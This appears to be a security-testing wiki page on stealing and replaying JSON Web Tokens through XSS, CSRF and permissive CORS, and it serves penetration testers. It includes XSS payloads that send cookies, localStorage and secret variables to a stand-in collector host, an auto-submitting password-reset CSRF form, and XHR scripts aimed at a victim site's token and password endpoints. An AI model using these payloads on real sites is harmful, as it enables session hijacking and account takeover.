-
Notifications
You must be signed in to change notification settings - Fork 685
Stealing JWTs
There's no need to hack JWTs if you can steal and replay them!
If you have other vulnerabilities in the application you may be able to steal or hijack the tokens of other users.
Common cookie-stealer XSS payloads will have access to JWT stored as a cookie: as long as the cookie is not set as HTTPOnly Payloads can be used to steal the contents of LocalStorage or SessionStorage variables. If the JWT is stored in a JavaScript variable that you know the name of you can also steal this.
Examples:
document.location='http://example.com/cookiestealer.php?c='+document.cookie;
new Image().src = 'http://example.com/log.php?localStorage='+JSON.stringify(window['localStorage']);
document.location='http://example.com/?password='+secretPasswordVariable;
JWT tokens stored in cookies (whether they are HTTPOnly or not) will be automatically sent by the browser when an authenticated user interacts with the target site. When a victim triggers a CSRF payload the browser will send the associated cookies including the token. The attacker won't be able to see these, but as they are being used to do the attacker's bidding that doesn't really matter.
Example:
<form id="autosubmit" action="http://www.example.com/account/passwordreset" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="victim1" />
<input name="password" type="hidden" value="BadGuyKnowsThis!" />
<input type="submit" value="Submit Request" />
</form>
<script>
document.getElementById("autosubmit").submit();
</script>
When a site's CORS policy allows arbitrary origins as well as sending credentials it is possible to craft an attack page containing an XHR request to the webserver, while also capturing the response.
This leads to two possible attack paths:
-
If the JWT is returned in any HTTP responses from the application, the token can be read by the attacker when the 'trigger' request is sent. A good example of this is a JWT 'refresh token' or queries to an account page or login page.
-
If the JWT is sent in a cookie then CORS can be used as a type of CSRF to send the token without the attacker needing to see it.
Example - XHR CORS:
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.avictimwebsitewithJWTcookieauth.com/api/refreshtoken");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send();
</script>
Example - XHR CSRF:
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.avictimwebsitewithJWTcookieauth.com/api/passwordreset");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"newpass":"BadGuyKnowsThis!"}');
</script>
JWTs may also be seen in captured HTTP traffic, either in the header/body of unencrypted traffic, in log files of firewalls/gateways/other servers, in referrer links (if exposed as a URL parameter), or a range of other places.